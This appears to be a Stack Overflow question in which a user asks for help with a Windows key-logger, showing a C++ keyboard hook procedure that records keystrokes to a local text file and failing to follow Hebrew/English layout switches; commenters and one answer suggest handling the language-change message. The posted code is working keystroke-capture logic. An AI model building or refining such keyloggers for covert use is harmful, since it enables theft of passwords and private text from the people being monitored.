2

I'm trying to write a key-logger, but I have a problem when I switch a language.

I have Hebrew and English in my keyboard.

It recognizes well Hebrew and English separately, the problem is if I change language(alt+shift) so it remains in the first language.

code:

LRESULT  __declspec(dllexport)__stdcall CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
char ch;
if (((DWORD)lParam & 0x40000000) && (HC_ACTION == nCode))
{
    if ((wParam == VK_SPACE) || (wParam == VK_RETURN) || (wParam >= 0x2f) && (wParam <= 0x100))
    {
        std::string toPrint = "nCode = " + std::to_string(nCode);
        std::string toPrint2 = "wParam = " + std::to_string(wParam);
        std::string toPrint3 = "wParam = " + std::to_string(lParam);

        OutputDebugStringA(toPrint.c_str());
        OutputDebugStringA(toPrint2.c_str());
        OutputDebugStringA(toPrint3.c_str());

        f1 = fopen("c:\\a\\log.txt", "a+");
        if (wParam == VK_RETURN)
        {
            ch = '\n';
            fwrite(&ch, 1, 1, f1);
        }
        else
        {
            BYTE ks[256];
            GetKeyboardState(ks);
            WORD w;
            UINT scan;
            scan = 0;
            ToAscii(wParam, scan, ks, &w, 0);
            ch = char(w);
            fwrite(&ch, 1, 1, f1);
        }
        fclose(f1);
    }
}

I saw that nCode, wParam and lParam parameters have the same values in the two languages.

Any ideas?

Thanks!

1337
  • 317
  • 1
  • 9
  • Does it stop hooking the keys or just wont display the results? – Jacobr365 Mar 22 '16 at 20:51
  • Can you make a hook where the keylogger can recognize this specific combination and then switch languages once it occurs? Or, maybe, you can just record the raw key input and then operate on the raw data after to label when the switch was made.. – CinchBlue Mar 22 '16 at 21:00
  • It doesn't stop hooking the keys... just display the key in first language and not the current language. I have windows 8 – 1337 Mar 22 '16 at 21:10

1 Answers1

0

I think you'll want to process the WM_INPUTLANGCHANGEREQUEST message. I assume you'll always want to accept the language change.

Χpẘ
  • 3,403
  • 1
  • 13
  • 22